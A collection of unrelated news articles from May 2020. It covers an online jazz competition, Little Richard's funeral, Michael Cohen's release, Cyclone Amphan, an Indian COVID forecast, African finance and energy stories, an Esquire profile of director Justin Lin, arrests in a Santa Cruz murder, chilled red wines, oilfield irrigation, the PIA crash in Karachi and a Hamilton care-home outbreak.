High school bands from around the country usually head to Jazz at Lincoln Center in New York City for a multi-day competition.

Given the COVID-19 crisis that has led to shutdowns across the nation, there will be no travel; instead, the event will take place from June 8-12 on Jazz at Lincoln Center's website, social media accounts and through Zoom.

"This year we are even more committed to recognizing our high school student musicians. We applaud the dedication, spirit and commitment of the students, band directors, parents and schools," said Wynton Marsalis, who is JALC's managing and artistic director. "We may be isolated from one another in this time, but together, we are connecting and expanding our extended family through the deeply human and liberating feeling of jazz."

For the first time, the event will also include several international bands. The celebration will end with the crowning of the first-place band, outstanding soloists and outstanding sections.

Essentially Ellington, named after jazz great Duke Ellington, is a free educational program that provides instruction and resources to jazz students nationwide. The competition was originally scheduled to be held this month.

Sign up for The Knick  Get the latest news and some area history with our afternoon newsletter.

 Associated Press

Little Richard laid to rest at alma mater

Little Richard was remembered not just as a rock 'n' roll pioneer but a man of generosity and faith at a memorial service at his alma mater where he was laid to rest Wednesday.

Mourners gathered at Oakwood University to pay their respects, many wearing face masks and standing a few feet apart at the outdoor service at the school's cemetery.

Richard died on May 9 following a battle with bone cancer at 87.

Born Richard Penniman, Little Richard was one of rock 'n' roll's founding fathers who, along with Chuck Berry and Fats Domino, helped shatter the color line on the music charts and brought what was once called "race music" into the mainstream. His hyperkinetic piano playing, coupled with his howling vocals and hairdo, made him an implausible sensation  a gay, black man celebrated across America during the buttoned-down Eisenhower era.

In his personal life, he wavered between raunch and religion, alternately embracing the Bible and outrageous behavior and looks  mascara-lined eyes, pencil-thin mustache and glittery suits.

For decades he's influenced other musicians, everyone from The Beatles (Paul McCartney imitated Richard's signature yelps) to David Bowie.

For his final resting place, Richard chose Oakwood University, a historically black Seventh-day Adventist college in the northern Alabama city of Huntsville.

 Associated Press
Michael Cohen tweeted there is so much I want to say, after being released from prison early due to coronavirus fears.

Mr Cohen, Donald Trumps former attorney, was released from the federal prison in Otisville, New York, on Thursday, and is scheduled to serve the remainder of his three-year sentence under home confinement.

He pleaded guilty in 2018 to tax evasion and campaign finance violations, including paying hush money to women who claimed to have had affairs with Mr Trump, and reported to prison on 6 May 2019.

Mr Trumps former attorney said he violated campaign finance rules under the direction of the president, for the principal purpose of influencing the 2016 presidential election. The president denies these claims.

After he returned to his residence, Mr Cohen tweeted: I am so glad to be home and back with my family. There is so much I want to say and intend to say. But now is not the right time. Soon. Thank you to all my friends and supporters.

The former attorney did not elaborate on what he meant by his tweet, but it is speculated that he will publicly talk about his time working with the president.

Earlier this month, The Daily Beast reported that while he was in prison, Mr Cohen wrote a tell-all book about working with Mr Trump.

When news broke about the book last month, actor Tom Arnold, who has stayed in contact with the ex lawyer, told the outlet: Its like Jaws  you dont see Jaws very much, but you hear the music, and for Trump he knows Michael is coming and Trump better hear the Jaws music.

He added: He told me he is going to spill the beans. What has he got to lose now?

After the report, Charles Harder, a Trump organisation lawyer, warned Mr Cohen that he could be in legal trouble if he releases the book about the president.

Mr Cohen was released from prison after multiple staff and inmates contracted coronavirus at the Otisville federal prison.

His early release was announced last month, but after he completed the mandatory 14-day quarantine period, as has become standard amid the coronavirus pandemic, the former attorney had his early release rescinded.

The decision was reversed earlier this week, and Mr Cohen will serve the remainder of his three-year sentence from home confinement.
Bhubaneswar, May 22 : Prime Minister Narendra Modi on Friday conducted an aerial survey in coastal districts of Odisha to take stock of the damage caused by cyclone Amphan.

He was accompanied by Governor Prof Ganeshi Lal and Chief Minister Naveen Patnaik, while Union Ministers Dharmendra Pradhan and Pratap Sarangi flew in a separate chopper.

The Prime Minister will review the cyclone situation and measures being taken for restoration and relief in the affected districts. He will take the review meeting at the Bhubaneswar airport here, said sources.

The cyclone that crossed the Odisha coast and made landfall on West Bengal coast on Wednesday left a trail of destruction in the coastal areas of the state.

Over 44 lakh people under 89 blocks have been affected by the impact of the cyclone.

Earlier, Modi had tweeted: "My thoughts are with the people of Odisha as the state bravely battles the effects of Cyclone Amphan. Authorities are working on the ground to ensure all possible assistance to the those affected. I pray that the situation normalises at the earliest." Before coming to Odisha, the Prime Minister made an aerial survey of cyclone-affected areas in West Bengal and announced Rs 1,000 crore for immediate assistance after reviewing the situation.

-- The story has been published from a wire feed without any modifications to the text
India may witness COVID-19 cases



peaking between June 21 and 28 with maximum daily positive cases to be around 7,000-7,500 in this period, a study by a team of researchers said.

The study has predicted that confirmed COVID-19 cases reported daily will show a rising graph till the end of June.

"A clear downward trend in the confirmed cases is likely to be observed each day from the second week of July," Nandadulal Bairagi, a senior professor of Jadavpur University who was involved in the project told PTI.

With measures in place and increased testing, a gradual flattening of the trajectory is expected within October, the researcher said.

The study was conducted by Bairagi, Professor and Coordinator Centre for Mathematical Biology and Ecology (CMBE), Jadavpur University, and five other researchers.

The study, based on a mathematical model approved by the Science and Engineering Research Board (SERB) of the Government of India, used deep machine learning algorithms along with a mathematical model for analysing and forecasting the COVID-19 pandemic in India with data being taken from the https://www.covid19india.org/state website.

"We divided the population of a designated geographical area into seven compartments based on the epidemiological class of Covid-19 and WHO prescribed minimum requirements of infection prevention and control (IPC) strategy to reduce transmission," he said.

Bairagi said, the total number of infected persons since the outbreak of coronavirus in the country "will touch the five lakh figure in first week of October and it will then start showing a perceptible declining trend."



One of the factors for this high number could be a large number of asymptomatic persons roaming around with each having the potential to transmit the infection to two-three more persons"Just think of it. The contamination was contained after 76 days of lockdown in Wuhan, the origin point of the coronavirus pandemic. But we in India are witnessing a spike in active cases despite the lockdown nearing two months in few days time," he said.

In the absence of any specific drug and vaccine, India must continue its nationwide lockdown to prevent person-to-person transmission of coronavirus while looking for ways to start economic activities, the senior researcher said.

"Public transport must be avoided due to difficulties in contact tracing, random testing has to be increased and time for diagnosis has to be reduced for early detection...."



"We have recommended to the government that lockdown may be partially withdrawn in green and orange zones after the last week of June, but it must be continued in red-zone regions of the states concerned. Strict surveillance must be continued after partial withdrawal of lockdown to avoid the second wave of COVID-19," he said.

Asked about their observation on difficulty in contact tracing in case of contamination in public transport, he explained, "In a hospital or similar place where the persons who have contacted the infection can be traced, you can trace the origin and quarantine every body else who came in touch with the primary contact."



But in a bus or train, there can be many asymptomatic persons who will spread the infection and then get down at their stoppages, he said.

Apart from Bairagi, CMBE researcher Abhijit Majumder, Dr. Debadatta Adak of MBB University, Agartala, Dr. Tapas Kumar Bala of Department of Oral and Maxillofacial Surgery, Kusumdevi Sundarlal Dugar Jain Dental College and Hospital, Dr Abhijit Paul and Dr Samrat Chatterjee of Translational Health Science and Technology Institute, Faridabad were involved in the research.

The interim report of the research has already been sent to the SERB, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Development Bank of Nigeria Plc said it has impacted the Nigerian Micro, Small and Medium Enterprises with a disbursement of over N100 billion to over 100,000 MSMEs.

This, it said, resulted in an additional job creation of 3,192 jobs in the financial year ended December 2019.

The Managing Director, Tony Okpanachi, disclosed this in his address at the DBNs first virtual 3rd Annual General Meeting which held recently, in Abuja.

While giving a scorecard on the banks activities and contribution to the Nigerian economy, he said the bank working through its Participating Financial Institutions (PFIs) has facilitated increase in MSME revenue, as well as assets.

He said that DBN has focused on engendering gender equality in its loan distribution and empowered youth with 52 per cent of the total loan disbursed to these segments in 2019.

Through our 27 Participating Financial Institutions, over N100BN was disbursed last year, impacting cumulatively over 100,000 MSMEs.

So far, 3,192 jobs have been created leading to an increase of 10percent in MSMEs revenue and 6.8 percent increase in value of their land assets. Also, 52 per cent of loans disbursed in 2019 were to youths and women owned businesses. This is in our bid to promote economic empowerment and gender equality, he said.

Mr Okpanachi also said that DBN has also set up a Credit Guarantee Subsidiary, Impact Credit Guarantee Company Limited with the aim of de-risking the MSME sector by sharing risks with the PFIs to encourage them to lend to this critical sector of the economy.

He added that DBN also delivered capacity building programs for MSMEs across the six geopolitical zones of the federation.

Mr Okpanachi assured shareholders that the Bank was on the right trajectory and focused its strategy on driving sustainable economic growth.

He said the Bank was currently expanding its distribution network to include other non-banking financial institutions and working on some concessions to PFIs as well as de-risking SME lending through the subsidiary, ICGL to increase participation.

He also said the strategy will also cover delivery of technical assistance to PFIs and capacity building programs for MSMEs all geared towards encouraging uptake of the DBN funds by PFIs for on lending.

In his remark, the chairman of the Bank, Shehu Yahaya, commended the federal government for its commitment and efforts as well as the selfless health workers for their dedication towards tackling the deadly COVID 19 pandemic.

He expressed his condolences to those who have lost loved ones while celebrating the courage of survivors.

He said their gallantry gives us hope that we will emerge victorious from this deadly pandemic.

The Development Bank of Nigeria Plc is a wholesale development finance institution, established by the Federal Government of Nigeria in collaboration with global development partners, (The World Bank, AfDB, Kfw, AFD and EIB), to address the major financing challenges facing Micro, Small and Medium Scale Enterprises (MSMEs) in Nigeria.

DBN carries out this function by providing financial institutions, predominantly Deposit-Money and Microfinance Banks with on lending facilities designed to meet the needs of this segment. The bank commenced operations in 2017.
22.05.2020 LISTEN

The Electricity Company of Ghana (ECG) has clarified that government had averagely paid GHC2 billion directly to its suppliers (i.e VRA, IPPs and GRIDCo) to defray GoG's indebtedness to ECG.

The ECGs clarification follows the Minoritys dismissal of governments claim that it had settled arrears owed the ECG.

The Minister of Energy, Peter Amewu had said the government had paid GHS2 billion annually to cover its bills.

At a press briefing organized by the Information Ministry, Mr. Peter Amewu said the payment of the debts has given government credit balance of GHS500 million to pay for electricity bills for January to April 2020.

The ECG confirmed the payment in a statement signed by its Managing Director, Kwame Agyeman- Boadu.

It added that government had also paid an amount of GHC4.14 billion to various fuel suppliers and power producers.

The company extended its appreciation to the government for its intervention, saying the companys balance sheet is now stronger than before.

Ghana's energy sector struggling over GH15bn debt  John Jinapor

The opposition National Democratic Congress (NDC) had recently alleged that Ghana's energy sector was struggling due to a GH15 billion debt.

A former Deputy Power Minister, John Abu Jinapor had blamed the prevailing situation on the mismanagement of the sector by the current administration.

---citinewsroom
Photo credit: Snap Stills/Shutterstock

From Esquire

"Substantial lack of gaudy jewelry. No entourage. No . . . honeys. Clearly youre not a baller.

In Fast & Furious 6 (2013), a snooty British auctioneer has just mistaken Hobbs (Dwayne Johnson) and Tej (Chris Ludacris Bridges) for kitchen help at a fancy classic-car auction in London. They are in streetwear. The auctioneer is in a suit. The less-than-subtle subtext: You cant afford these nice things. It seems as if Hobbs might throw this Savile Row reject into the Thames. But the crime-fighting duo take the high ground, buying the entire lot of rides with cashplus the clothes off the auctioneers back.

In a movie franchise that follows heisters with heart primarily people of colorcoming together to make ends meet and occasionally save the world, this is one of the only moments when the series confronts identity and discrimination head-on with What did he just say? discomfort. When I ask Justin Lin about this scene, the director responsible for turning the series into a multibillion dollar juggernaut has a faint look of pain on his face.

Thats basically what happened to me, he says.

Its February and were in a South Pasadena storefront, which Lin has repurposed as his writing office. Over the course of a five hour conversation much of it turns towards representation in Hollywood and his experience as an Asian American director replete with casual and not-so-casual racism, from not being recognized by guards when driving into the Universal lot to worse. Lin tells me about his complicated early relationship with clothes as a Taiwanese immigrant in Californias Orange County in the 80s. We were fucking poor. Kids would make fun of me for the Goodwill shit that my parents bought me. And you know, as the Asian kid, youre always getting made fun of, and you just want to be left alone.

Box-office receipts worldwide for 2006s Tokyo Drift, a sleeper hit and Lins first Fast film, totaled $158.9 million. The Lin-directed Fast & Furious (2009) and Fast Five (2011) made hundreds of millions each. I never really wanted to be rich, Lin says. I just wanted to be able to afford to buy sushi. Figuring he deserved an outfit upgrade before shooting Fast & Furious 6, he walked into an upscale clothing boutique in London and got the same treatment as Tej and Hobbs. Lin doesnt recount the exact words that were exchanged. Doesnt need to: its the same situation any person of color has experienced at many points in their lives. Lin mimics the face of the salespersonwhich matches the haughty auctioneers. It reads: You dont belong here. And Im just like, I have money, motherfucker. 

Story continues

You could simply accept the Fast franchise as sublimely absurd action cinema. If you think these are movies made by boys-at-heart who still play with Matchbox cars, youd be right. When Lin shows me the opening of F9 in an editing suite, there on the coffee table, next to a candle with Vin Diesel as a saint, are several miniature cars. (Because of the COVID-19 pandemic, the films release date has moved to Spring 2021.) But its also arguably the most inclusive tentpole franchise in Hollywoodand that is a key part of its success. Dont see someone like yourself in other movies? Fast & Furious has your back. The paint-by-numbers diversity found in many other blockbuster serieswe need a black person here; an Asian over there; and, oh yeah, lets have a lesbian kiss!does not exist in the Fast universe.

Photo credit: Snap Stills/Shutterstock

A lot of this is due to the casting of the core characters in the original movie, 2001s The Fast and the Furious: Vin Diesel, Michelle Rodriguez, Jordana Brewster, and the late Paul Walker organically inhabit their roles as do Ludcaris and Tyrese who were introduced in 2 Fast 2 Furious (directed by John Singleton.) The concept for the first film stemmed from a 1998 Vibe article about street racing with highly tuned import cars, which started with a group of Asian kids in southern California. But Fast & Furious, with its increasingly insane stunts and color-blind casting, was truly born once Lin entered the mix with Tokyo Drift. Through this reboot, he essentially reclaimed a co-opted culture. In many ways, the saga begins and ends with the character of Han Lue (Sung Kang), the series sole Asian-American leadoften considered the true fans favorite characterand the only Asian-American cool guy in a movie of this magnitude. And its Hans introduction, death, reintroduction, death, and re-reintroduction (well explain) that have come to symbolize the care with which Lin has handled representation on and off the set.

Rewind to 2004. The indie director of Sundance darling Better Luck Tomorrow, a powerful story about identity in the Asian-American community, is suddenly in the room talking with studio execs but finding old stereotypes still exist. Im, you know, a short Asian dude. I didnt look like a director. And so after Tomorrow, after Sundance, you go to meetings and you can tell people are just looking at you funny and you get feedback like, Can he actually work with real actors? And Im like, 'What the fuck is a real actor?' But they didnt even consider Asian Americans real actors back then. On Better Luck Tomorrow John Cho was the big shit because he was the MILF guy. That was our greatest achievement as Asian Americans in Hollywood: the MILF guy.

Universal sought Lin out several times to direct Tokyo Drift. But he turns the studio down. Didnt want to be their patsy. How could he work on a franchise wherein all of the Asians are depicted as villains? The original script for Tokyo Drift read like Karate Kid 2 with an extra dose of white savior-ness

Stacey Snider, the head of Universal, was like, What if I let you do whatever you want? Every complaint you have with Asian-American representation, you can figure it out. And I was like, Really? And she's like, Heres the catch: It's going to production in two and a half months, so you better get going.

He removes the Geisha girls and Buddhist statue cliches and develops the main character, Sean (Lucas Black), as a fish out of water, weaving in elements of Romeo and Juliet, while remaining authentic to drifting culture. Lin's complete creative control also allows him to do something ingenious: he takes the character Han Lue, first seen in Better Luck Tomorrow, and places him squarely in the action of Tokyo Drift. It was a success, reviving the Fast franchise.

Photo credit: Sidney Baldwin/Universal/Kobal/Shutterstock

Initially, Lin didn't want to do another Fast. But, then he had a moment with Kang (whose character Han died in the end of Tokyo Drift) at an Arby's. We pull off of the 5 outside of San Francisco. We're just eating and these little young little Latino kids came up to Sung telling him how much they loved Han. They just swarmed him! And this is 2006fans weren't really on the internet too much. This was the first time where I was like, oh my God Han has this really strong, genuine connection with people.

I was driving back onto the 5 and I was like, That's too bad Hans dead. And then Sung turns to me and says, Well, does he have to be? And then it dawned on me that, when trying to get Vin back on Tokyo Drift I had this amazing conversation with him about Doms relationship with Han...four hours by his pool talking backstory. So I called the studio. I said, I'm doing it. I gotta bring Han back. And they were like, what the fuck? The 4th, 5th, and 6th installments ultimately became prequels to Tokyo Drift, and Han was back. We had these great relationships with the studios. They understood I never want to do a Fast movie again unless I feel like we can evolve.

Over the course of Lins tenure as Fast overlord, from 2006 to 2013, some notable things occur from an identity standpoint in addition to the creation of Hollywoods only cool guy Asian-American character. Vin Diesel is elevated to a bonafide, multicultural box-office draw in Dom Toretto. Tej becomes the hacker brains of the crew. Letty (Rodriguez) emerges as a groundbreaking action hero. Because of Lins insistence on color-blind casting and an untraditionally wide search for actors, Gal Gadot is cast as Gisele, her first film role. And at the end of Fast Five, we see Han and Gisele share a kiss on the autobahn, creating the coolest interracial coupling of an Asian dude and an Israeli woman, well, ever. That was in 2011. It still feels like a groundbreaking moment even today.

Hollywood is supposed to be this enlightened place. And there are great people here, sure. But there's some fucked up people here that are just able to use the right buzz words, you know? I've always felt like diversity is not me going: I need an Asian for this role. It's like, No man, thats not what diversity is about. Its about creating an environment to let the best person grab that role. To have the right to say: hey, we had the world come in and we found the right person. Thats always been my MO with Fast. I'm not on a crusade. When youre excluding people, mathematically, that just doesn't make sense.

Then Lin left the series to direct Star Trek Beyond and episodes of True Detective and Community. He needed to grow. But something happened with Han that would change everything.

Heres an explanation of the time-bending soap opera-like drama: At the end of Fast & Furious 6, its revealed that it was Deckard Shaw (Jason Statham) who killed Han in Tokyo Drift. He ends up in jail in Furious 7. Yet in the eighth installment, 2017s The Fate of the Furious, Shaw is invited into our core heroes crew, indoctrinated into the family with an invite to their barbecue. So Hans killer is suddenly exonerated? Fans were pissed. A movement called #justiceforhan started to bubble up from the corners of the internet.

Lin first hears of all this, quite poetically, during a 15th-anniversary screening of Better Luck Tomorrow. Shaws at the barbecue? he says to the person delivering the news. Im like, Fuck! Why would you fucking do that? 

Lin finally sees Fate, directed by F. Gary Gray. His initial sentiment of the barbecue scene is confirmed. That was a fucked up move on eight, he says. Han is special. It really made no sense and, as an Asian-American, it kind of did shake me to the core. You're like: Wait, did we just get reduced to a fucking character that you don't even address? That nobody fucking cares about anymore? Are we fucking back to Long Duk Dong shit again?

Fast-forward to Super Bowl weekend 2020. Universal studios has thrown an elaborate, expensive trailer drop for F9. Its a concert with interviews of the cast, Justin Lin, and musical performances from Cardi B, (who is in this sequel). Wiz Khalifa shows up and plays See You Again the often tear-inducing Paul Walker tribute. When the four-minute trailer for F9, which marks Lins return as director, is unveiled, it teases a few mind-blowing scenes. A Dodge Charger swings, Tarzan-style, from a cliff! Dom (Diesel) has a long lost brother named Jakob ( John Cena)! Then this: Han materializes from a tunnel. He hugs Dom. He drives the new Toyota Supra. The marketing tagline for the movie is: Justice is coming. Within a few days it becomes one of the most-watched trailers of all time.



Ill admit that what drove me back to this final chapter creatively was the idea of Jakob, Lin says. But on the cerebral and emotional level, it was Han. And entering from the cerebral level is the hardest way to do any kind of creative process. Youre checking yourself all the time to make sure youre not just doing it because people want it.

Will justice be served for Han? It wont be fully served, he says. There will be other things I feel should be explored. As this universe expands into other mediums, maybe TV, and when this character gets his due respect? Thats when I think justice for Han is served.

As for justice in the other Hollywood franchise of which Fast is often compared with, I ask Lin if James Bond should be a woman or a person of color. He shares the opinion of one of his editors that he has come around to. He said, James Bond cannot be a person of color or female. James Bond has to be white. Thats his superpower: Hes a fucking privileged British fucking asshole. He can get away with murder. 

He adds, Because you know what? My life would be really different if I wasnt Asian-American, right?

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Santa Cruz County sheriff's deputies investigate at the home of Tushar Atre, who was kidnapped and killed in October. Arrests were made this week. (Dan Coyro / Santa Cruz Sentinel)

Tushar Atre was asleep inside his oceanfront home in Santa Cruz on Oct. 1 when a group of men armed with a rifle emerged from a darkened alley, entered his home and kidnapped him.

The group forced the 50-year-old businessman into his white BMW shortly before 3 a.m. and drove him to a property he owned on Soquel San Jose Road in the Santa Cruz Mountains. Hours later, authorities found Atre fatally shot in the car.

Though they suspected from the beginning that the motive in the slaying was robbery, the two crime scenes left authorities with more questions than answers, Santa Cruz County Sheriff Jim Hart said during a news conference this week.

"We had a murder scene, we had a home invasion kidnapping scene and a really grainy video," he said. "That was it. We had this huge suspect pool we had to narrow down."

On Thursday  more than seven months after Atre's death and after about 3,000 hours of detective work  officials announced that four men had been arrested on suspicion of murder, kidnapping and robbery.

Joshua Camps, 23, and Kurtis Charters, 22, both of Lancaster; Stephen Lindsay, 22, of Burbank; and Kaleb Charters, 19, of St. Clair Shores, Mich., were taken into custody at or near their homes Tuesday, sheriff's Lt. Brian Cleveland said.

Kurtis Charters, Camps and Lindsay are being held in the Santa Cruz County Jail without bail. Kurtis Charters' brother, Kaleb, is being extradited from Michigan this week.

Kaleb Charters and Lindsay were early persons of interest in the investigation. Both men had worked for Atre at his cannabis business, Interstitial Systems. Camps was an associate of the group, Cleveland said.

Investigators say they connected the men to Atre's slaying through forensic evidence found at the crime scene, digital evidence and information obtained through hundreds of interviews conducted over the course of the probe.

Tushar Atre, 50, was kidnapped and killed in October. (Santa Cruz County Sheriff's Department)

Cleveland declined to discuss each man's suspected role in the plot or offer details about the robbery.

Story continues

"This was a senseless crime. There's really no explanation," he said. "These people wanted monetary gain and took advantage of the situation.

According to his social media profiles, Atre was an avid surfer whose home overlooked the Pacific Ocean. His Instagram profile depicts an adventurous, nature-filled life. His Twitter profile reads: Surfer. Mushroom forager. Always on the go.

In addition to his cannabis business, Atre was the owner of AtreNet, a web design company founded in 1996 that caters to Silicon Valley corporate businesses. According to AtreNets website, the companys clients include technology, marketing and software companies such as Hewlett-Packard, BuzzLogic, Seagate and Tealeaf Technology.

Hart said he hoped the arrests would help bring Atre's family some closure.

"This case took vigilance. It took resilience," he said. "We butted up against a lot of closed doors during this investigation and every time that happened our investigators found somewhere else to go with this case. This case was solved by outstanding police work being supported by a lot of different groups."
Chilling reds is common on the continent and when the weather starts to sizzle it can be such a cooling enriching experience that we should be celebrating far more often.

Rules of thumb are simple: stick to light-bodied reds with a minimum of new oak and generally youthful ones  stick to wines that are under two or three years old as a general guide.

Another broad rule is to favour pale reds lower in alcohol, generally stay below 13%  Cabernet Franc in the Loires Saumur-Champigny has been the traditional go-to choice of mine for years.

LICENCE TO CHILL 5.99* Incanta Pinot Noir (12.5%) Majestic (*mix six price), COLD AS ICE 6 Marks and Spencer Garnacha 2019 (14%) M&S and DADDY COOL 12.25 Beaujolais Vieilles Vignes, Domaine de la Rocaillere 2017 (13%) Berry Bros. & Rudd

However, sometimes you find the odd bottle where the booze is a bit higher yet the fruit and finesse just suit being chilled, such as my Garnacha pick from Marks and Spencer.

Grape varieties that work best served chilled have thinner skins and therefore less tannin to dry your mouth. Chilling reds has the double effect of emphasising fruit flavours as well as tannin, so picking softer reds makes them easier to sip as an aperitif or with the lighter dishes we tend to favour in summer months from tomato and feta salads to ratatouille.

Gamay, the great grape behind Beaujolais, is a scented splendid example. Pinot Noir can be pricey, but pick bottles from Romania and be amazed by the quality to price ratio  chill it to bring out its primary fruity finesse.

ICY, ICY BABY 12.61 Muzsa Kadank, Zsirai 2018 (13%) jascots.co.uk and WINE OF THE WEEK 15.20 Fleurie Andre Colonge 2018 (13%) tanners-wines.co.uk

Italian grapes such as Dolcetto and Frappato can do the business, along with certain examples of Greek Xinomavro, but my tip for the future is to look to English reds. Light on their fruit with serious quality, I reckon chilled reds should be a future specialism of these shores  as long as the sun continues to shine.
DURHAM, N.C. - A new study by researchers at Duke University and RTI International finds that reusing oilfield water that's been mixed with surface water to irrigate farms in the Cawelo Water District of California's Kern County does not pose major health risks, as some opponents of the practice have feared.

"We did not find any major water quality issues, nor metals and radioactivity accumulation in soil and crops, that might cause health concerns," said Avner Vengosh, professor of water quality and geochemistry at Duke's Nicholas School of the Environment, whose lab led the new study.

Faced with increasing droughts and water shortages, some farmers in the Cawelo district have used diluted oilfield produced water (OPW) for irrigation for their fields for more than 25 years, as permitted under California Water Board policy.

While the oilfield-mixed water contains slightly elevated levels of salts and boron relative to the local groundwater, those levels are still below the standards set by the state for safe drinking water and irrigation in the Cawelo district, Vengosh said.

Boron and salts from the OPW have however, accumulated over time in the irrigated soil. The district's farmers will need to plant boron-tolerant crops and keep mixing the OPW with fresh water to avoid boron toxicity and salinity buildup in their fields, and also to remain within state guidelines. "But all things considered, this is good news," Vengosh said.

The researchers published their peer-reviewed findings May 18 in the journal Science of the Total Environment.

The new study should help allay fears that contaminants in the Cawelo OPW, which is produced as a byproduct of oil and gas extraction at sites adjacent to many farm fields in the district, could impact water and soil quality, harm crop health or pose risks to human health, the researchers said.

"Those concerns assumed that the OPW generated by oil and gas wells in the Cawelo district contains similar mixtures of salts, metals and naturally occurring radioactivity as OPW generated in oil fields in other regions. But our study shows that's not the case," said Andrew Kondash, a research environmental scientist at RTI International, who led the study as part of his 2019 doctoral dissertation at Duke.

"The OPW produced in Kern County is much more diluted and low-saline than common OPW from other parts of the country, so it can be used for irrigation if it is mixed with surface water," Kondash said.

Determining whether it is safe to use OPW for irrigation in other locations would require a similar suite of water and soil testing, Kondash said. "You can't assume that the results in this study could be applied to OPW from other oilfields, where the salinity is typically much higher."

To conduct the new study, the researchers collected and analyzed soil samples, irrigation water samples, OPW samples and groundwater samples from sites across the Cawelo Water District from December 2017 to September 2018 and analyzed them for a wide range of contaminants including, salts, metals and radioactive elements.

###

The study was part of a research project funded by the U.S. Department of Agriculture National Institute of Food and Agriculture (grant #2017-68007-26308) and included a policy analysis section led by Erika Weinthal of Duke's Nicholas School.

Other authors were: Jennifer Hoponick Redmon and Elisabetta Lambertini of RTI International, Laura Feinstein of the Pacific Institute, and Luis Cabrales of California State University at Bakersfield.

In addition to earning his PhD in Earth and Ocean Sciences from Duke's Nicholas School, Kondash also earned a Master of Environmental Management degree in Energy and Environment at Duke in 2013.

CiTATION: "The Impact of Using Low-Saline Oilfield Produced Water for Irrigation on Water and Soil Quality in California," Andrew Kondash, Jennifer Hoponick Redmon, Elisabetta Lambertini, Laura Feinstein, Erika Weinthal, Luis Cabrales, and Avner Vengosh; May 18, 2020, Science of the Total Environment. DOI: 10.1016/j.scitotenv.2020.139392
New York  Governments across the world must act urgently to prevent and tackle the rising rates of violence against women and girls during the COVID-19 crisis by putting stronger measures in place such as designating shelters and hotlines as emergency services and supporting police and the justice sector during lockdowns, according to the United Nations Development Programme (UNDP).

Guidance from UNDP, Gender-based violence and COVID-19, also recommends developing new protocols to provide support via phone or online platforms rather than in person, expanding immediate response services in order to save lives, and most ensuring that steps to prevent gender-based violence are in every COVID-19 response plan and budget.

Now more than ever there is a need to send a strong message that violence will not be tolerated, those who carry it out will be brought to justice, and survivors will be heard and supported, said Raquel Lagunas, UNDP Gender Team Acting Director.

The impacts of the COVID-19 on women and girls include rising rates of domestic or intimate partner violence, while lockdowns and social distancing may be particularly hard on survivors of gender-based violence, who may already be economically dependent on their abusers.

Together with other UN agencies, UNDP is working with more than 40 governments around the world to prevent and address gender-based violence during the crisis.

Examples:

In Somalia, UNDP is supporting communities to develop neighborhood watch systems, where men and women receive training to regularly patrol their neighborhood to prevent or mitigate incidents of violence.

In Mexico UNDP, in collaboration with UN Women, is helping establish phone and online platforms to support vulnerable women via the LUNA centers, which are safe spaces for women and girls.

In Botswana, community members, including school principals, tribal chiefs, farmers and nurses, are raising awareness of the rise in violence and advising the government on village challenges and needs.

In Uganda, UNDP in partnership with Jumia Food Uganda, the leading e-commerce company in the country, is exploring how to incorporate messaging to prevent violence against women and girls in an e-commerce platform which connects small and medium-sized enterprises and informal market vendors to customers.

In the Dominican Republic, UNDP and BHD Bank are putting in place a partnership to facilitate referral services of domestic violence cases that are reported by the banks customers.

UNDP is coordinating with UN sister agencies and development partners, for example, through the Spotlight Initiative, a joint EU-UN partnership to end violence against women and girls. The global, multi-year initiative is targeting 50 million direct beneficiaries across five regions and more than 25 countries.
In comments delivered to the Standing Committee on Finance on Tuesday, Canadian Mortgage and Housing Corporation CEO Evan Siddall laid out a potentially bleak scenario for the countrys homeowners. Siddall told parliamentarians that by September, if Canadas economic recovery fails to generate enough momentum, 20 percent of mortgages could be in arrears.

A team is at work within CMHC to help manage a growing debt deferral cliff that looms in the fall, when some unemployed people will need to start paying their mortgages again, Siddall said during the Committees videoconference. As much as one fifth of all mortgages could be in arrears if our economy has not recovered sufficiently.

It was one of many disturbing claims made by Siddall, who also told the Committee that the nominal house price in Canada could fall by as much as 18 percent over the next six to 12 months, with the biggest losses expected in oil-driven economies like Alberta and Saskatchewan and in overheated markets like Toronto. If prices fall by 10 percent, Siddall said first-time buyers could lose as much as $45,000 on a $300,000 home.
PIA plane crash: A Pakistan International Airlines plane crashed near a residential colony near Karachi airport on Friday. The Pakistani media has report that the PIA aircraft (A320) was carrying close to 100 people and at least 8 crew members. The plane reportedly crashed just before the landing. The country's health minister has declared "emergency" in all major hospitals of Karachi in the wake of the plane crash.

Breaking: PIA flight PK 8303 with 99 passengers on board along with 8 crew members has crashed in Karachi. pic.twitter.com/q3aMowopGd AbbTakk (@AbbTakk) May 22, 2020

The Pakistani Army Aviation helicopters have been flown for damage assessment and rescue efforts. The country's urban search and rescue teams are being sent on site for rescue efforts, the Pakistan Armed Forces spokesperson said.

Minister of Health and Population Welfare has declared emergency in all major hospitals of Karachi due to the plane crash, according to Meeran Yousuf, the media coordinator to the Sindh health minister, reported the Dawn.

Several videos related to the crash are emerging on social media platforms. "Stay strong Pakistan," said a Twitter user, while sharing video of the crash.

Stay strong Pakistan today is one tough day for all of us

#planecrash pic.twitter.com/IqMNKdl5Mb Nab The Dentist (@NabTheDentist) May 22, 2020

SAPM on Information and broadcasting Asim Saleem Bajwa also said that on the country's PM Imran Khan's directions, all emergency services and resources had been mobilised and evacuation was in progress. "Our heart goes out to all families of on boar," he said.

Sad News:Our heart goes out to all families of on board passengers of the ill fated PIA plane that just crashed close to Karachi Airport. On PMs directions, all emergency services & resources mobilised,evacuation in progress.More details will be shared subsequently Asim Saleem Bajwa (@AsimSBajwa) May 22, 2020

Chief of Army Staff (COAS) General Qamar Javed Bajwa has expressed condolences over the "loss of precious lives". "[COAS] Shares grief of bereaved families in this difficult time. COAS directed provision of full assistance to civil administration in rescue/ relief effort," said Inter-Services Public Relations (ISPR).

Update #PIA Incident:

Army Quick Reaction Force & Pakistan Rangers Sindh troops reached incident site for relief and rescue efforts alongside civil administration.

Details to follow. DG ISPR (@OfficialDGISPR) May 22, 2020

Fire fighters trying to control fire in an affected house.
Hamilton politicians had harsh words Thursday for the horrific COVID-19 outbreak at the Rosslyn Retirement Residence, as well as the family that operates the facility and several other care homes in the city.

Councillor Nrinder Nann, whose Ward 3 includes the Rosslyn home, said the operators shirked their responsibility in a health pandemic after the King Street East facility was emptied last week due to a shocking coronavirus outbreak.

More than 60 residents of the Rosslyn home were sent to hospital and 20 staff members became infected from the outbreak. Four residents of the home have died.

The Rosslyn is associated with members of the Martino families, who also operate seven other retirement homes and residential care facilities in Hamilton.

